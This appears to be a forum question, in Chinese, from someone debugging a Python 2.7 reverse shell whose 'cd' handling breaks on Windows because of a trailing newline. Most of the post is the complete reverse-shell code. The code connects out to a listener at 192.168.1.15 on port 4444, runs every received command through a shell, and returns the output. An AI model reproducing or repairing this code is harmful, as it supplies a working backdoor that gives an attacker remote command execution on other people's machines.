我正在制作一个简单的 Python 2.7 reverse-shell ,每次在我的 netcat 服务器中键入 cd C:\ 时,都会为目录更改功能抛出此错误“WindowsError: [Error 123] The filename, directory name, or volume label syntax is不正确:'C:\\n'" 这是我的代码。
import socket
import os
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "192.168.1.15"
port = 4444
s.connect((host, port))
s.send(os.getcwd() + '> ')
def Shell():
while True:
data = s.recv(1024)
if data[:2] == 'cd':
os.chdir(data[3:])
if len(data) > 0:
proc = subprocess.Popen(data, shell = True ,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()
s.send(result)
s.send(os.getcwd() + '> ')
print(data)
Shell()